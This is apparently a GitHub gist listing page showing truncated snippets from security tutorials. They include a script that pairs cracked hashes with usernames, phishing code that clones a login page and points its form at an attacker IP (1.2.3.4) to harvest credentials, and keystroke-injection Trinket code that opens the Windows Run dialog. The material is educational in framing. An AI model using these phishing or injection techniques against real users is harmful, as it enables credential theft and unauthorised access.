Skip to content

Instantly share code, notes, and snippets.

View EatonChips's full-sized avatar

EatonChips EatonChips

View GitHub Profile
@EatonChips
EatonChips / hashmash.py
Created May 20, 2021 23:56
Combine hashcat hash:recovered output with user:hash input to create a user:pass format of recovered users.
#!/usr/bin/python
# Updated for python3 from https://github.com/ShawnDEvans/hashmash
import sys
def usage():
print('HashMash - decrypted password to username matcher')
print('')
print('$ python %s <Hash File> <OCL Hashcat Decrypted File>' % sys.argv[0])
print('')

Keybase proof

I hereby claim:

  • I am eatonchips on github.
  • I am eatonchips (https://keybase.io/eatonchips) on keybase.
  • I have a public key ASBh_lImDObG3q2Uh1TkasrKy2zIwfaVlUOuYY-zwgQeLgo

To claim this, I am signing this object:

@EatonChips
EatonChips / PhishingArticle-0.js
Created August 19, 2017 07:17
PhishingArticle-0
const axios = require('axios'); // HTTP Client
const bodyParser = require('body-parser'); // Body parsing middleware
const express = require('express'); // HTTP Server
const cheerio = require('cheerio'); // HTML DOM Parser
// Parameters
let targetUrl = 'https://glitter.com/login';
let redirectUrl = 'https://glitter.com/EatonChips';
let lHost = '127.0.0.1';
@EatonChips
EatonChips / PhishingArticle-2.js
Last active August 19, 2017 06:37
PhishingArticle-2
const axios = require('axios');
const cheerio = require('cheerio');
let lHost = '1.2.3.4';
axios.get('https://glitter.com/login')
.then(res => {
let $ = cheerio.load(res.data);
$('form').attr('action', 'http://' + lHost + '/login');
console.log($.html()); // Prints new and improved html
@EatonChips
EatonChips / PhishingArticle-1.js
Created August 19, 2017 06:23
PhishingArticle-1
const axios = require('axios');
axios.get('https://glitter.com/login')
.then(res => {
console.log(res.data); // Prints html
})
.catch(err => {
console.log('An error occured');
});
@EatonChips
EatonChips / DuckyArticle-4.cpp
Last active August 7, 2017 21:10
DuckyArticle-4
#include "Keyboard.h"
void winRun() {
Keyboard.press(KEY_LEFT_GUI);
Keyboard.press('r');
delay(30);
Keyboard.releaseAll();
delay(100);
}
@EatonChips
EatonChips / DuckyArticle-3.cpp
Last active August 7, 2017 21:10
DuckyArticle-3
#include <TrinketKeyboard.h>
void pressEnter() {
TrinketKeyboard.pressKey(0, 0x28);
delay(10);
TrinketKeyboard.pressKey(0,0);
delay(300);
}
void winRun() {
@EatonChips
EatonChips / DuckyArticle-2.cpp
Created August 7, 2017 19:16
DuckyArticle-2
#include <TrinketKeyboard.h>
void pressEnter() {
TrinketKeyboard.pressKey(0, 0x28);
delay(10);
TrinketKeyboard.pressKey(0,0);
delay(300);
}
void winRun() {
@EatonChips
EatonChips / DuckyArticle-1.cpp
Last active August 7, 2017 21:07
DuckyArticle-1
#include <TrinketKeyboard.h>
void setup() {
TrinketKeyboard.begin();
}
void loop() {
TrinketKeyboard.print("Help, I am trapped in a computer! \n");
delay(500);
}
@EatonChips
EatonChips / AD-Auth
Created July 19, 2017 21:14
Node callback example for a friend
/*
* @Author: Adam Eaton
* @Date: 2017-07-19 16:05:29
* @Last Modified by: Adam Eaton
* @Last Modified time: 2017-07-19 16:10:41
*/
// Define authen to use a callback function
function authen(user, pass, cb) {
ad.authenticate(user, pass, (err, auth) => {